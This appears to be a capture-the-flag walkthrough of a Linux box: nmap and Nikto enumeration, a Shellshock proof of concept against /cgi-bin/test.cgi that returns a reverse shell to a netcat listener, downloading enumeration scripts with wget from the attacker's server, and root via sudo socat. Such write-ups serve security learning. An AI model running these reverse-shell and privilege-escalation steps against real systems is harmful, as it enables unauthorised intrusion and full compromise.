nmap -p- -A

21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 12:ee:09:94:d5:4b:4a:d9:3b:95:3a:d6:63:e7:98:6f (RSA)
|   256 b9:f8:52:aa:62:02:af:6c:09:ca:dc:3e:7b:b3:94:b7 (ECDSA)
|_  256 53:5d:98:f7:61:e0:57:df:38:96:f9:be:59:77:6c:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Steak House Shock
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


Looking at our Nmap results we can start with a check on anonymous login check with FTP.

nmap --script=ftp-anon.nse -p 21

21/tcp open  ftp

We get no feedback regarding anonymous login and will require a manual check.

As anonymous login for this server is not allowed we can check for exploits on vsFTPd 3.0.3 using searchsploit.

I also Google searched and found no current exploits for vsFTPd 3.0.3. We can next take a look at HTTP on port 80 since this is our next best logical attack vector.


I have also started a scan with Nikto on this webpage.


Nikto reports a possible exploit on /cgi-bin/test.cgi to the Shellshock exploit. A brief overview of what is is taken from


Searching for HTTP Shellshock PoC's brings us to the following by zalalov on Github.

Download the python script and then set up as per the README:

Start a netcat listener on the attacking machine.

nc -lvp 4444

Then call the Python script with the correct arguments for our machine.

python2 /cgi-bin/test.cgi <AttackingIP>/4444

After a short amount of time we should get a shell back on our listener.

From here we can perform an upgrade on the shell we currently have.

/usr/bin/script -qc /bin/bash /dev/null

Privilege Escalation

Next I uploaded in the attempt to look for any easy privilege escalation vectors. I started a Python SimpleHTTPServer on my attacking machine pointing at my Linux enumeration scripts.

Python2 -m SimpleHTTPServer 80

I then performed wget on the target file.

wget http://<IP>:<Port>/<File>

Once completed I executed and waited for it to complete. Once complete we see we have access to socat using sudo.

Looking at socat on GTFObins we see we can call bash with root permissions.

We are now root on the target machine.

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